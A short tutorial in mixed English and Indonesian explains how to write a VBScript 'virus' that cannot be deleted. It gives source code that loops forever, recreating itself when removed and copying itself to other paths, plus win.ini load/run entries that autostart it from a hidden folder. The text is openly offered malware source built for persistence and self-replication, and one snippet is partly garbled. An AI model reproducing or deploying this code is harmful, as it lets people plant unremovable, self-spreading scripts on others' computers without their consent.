How To Make Undeletion File

You need to write this source :
dim fso, axl,rose,idiot
Set Rose = CreateObject("WScript.Shell") set fso = createobject("scripting.filesystemobject") set Axl = fso.opentextfile(wscript.scriptfullname,1) idiot = Axl.readall Axl.close do if fso.fileexists(wscript.scriptfullname) = false then set Axl = fso.createtextfile(wscript.scriptfullname) Axl.write idiot Axl.close end if loop
simpan script diatas dengan nama Rizal.vbs lalu jalankan!sekarang coba kamu
hapus Rizal.vbs hehehe pasti ga bisakan,soalnya nih Virus bakal baca dirinya
sendiri lalu mengecek apakah ada Virus ini,jika ga ada(dalam hal ini waktu kamu
hapus)maka akan diciptakan lagi.sekarang lihat juga script yang aku ciptakan
Dim fso,FileSR = ".\RS.vbs"do set fso = createobject("scripting.filesystemobject") set File=fso.GetFile(SR) File.Copy "C:\my documents\antis.vbs" File.Copy "c:\antis.vbs"
loop

After you finish write that source you need to save it. You can change the files name in SR = ".\(files name).

You also need to make windows.ini which are consist this script.
[windows]load=c:\hidden_folder\RS.vbs
run=c:\hidden_folder\RS.vbs

Now you can hide your un deletion source and run it automaticaly.